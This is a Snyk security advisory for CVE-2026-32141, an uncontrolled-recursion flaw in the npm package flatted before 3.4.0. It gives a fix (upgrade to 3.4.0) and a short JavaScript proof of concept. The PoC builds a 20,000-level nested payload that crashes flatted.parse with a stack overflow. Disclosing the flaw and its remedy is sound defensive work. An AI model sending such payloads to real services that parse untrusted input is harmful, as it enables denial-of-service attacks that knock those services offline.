Uncontrolled Recursion Affecting flatted package, versions <3.4.0


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.02% (7th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Uncontrolled Recursion vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-FLATTED-15518041
  • published13 Mar 2026
  • disclosed12 Mar 2026
  • creditByambadalai Sumiya

Introduced: 12 Mar 2026

CVE-2026-32141  (opens in a new tab)
CWE-674  (opens in a new tab)

How to fix?

Upgrade flatted to version 3.4.0 or higher.

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion via the parse function due to using a recursive revive() phase to resolve circular references in deserialized JSON. An attacker can cause a stack overflow and crash the process by supplying a crafted payload with deeply nested or self-referential indices.

PoC

const flatted = require('flatted');

// Build deeply nested circular reference chain
const depth = 20000;
const arr = new Array(depth + 1);
arr[0] = '{"a":"1"}';
for (let i = 1; i <= depth; i++) {
  arr[i] = `{"a":"${i + 1}"}`;
}
arr[depth] = '{"a":"leaf"}';

const payload = JSON.stringify(arr);
flatted.parse(payload); // RangeError: Maximum call stack size exceeded

CVSS Base Scores

version 4.0
version 3.1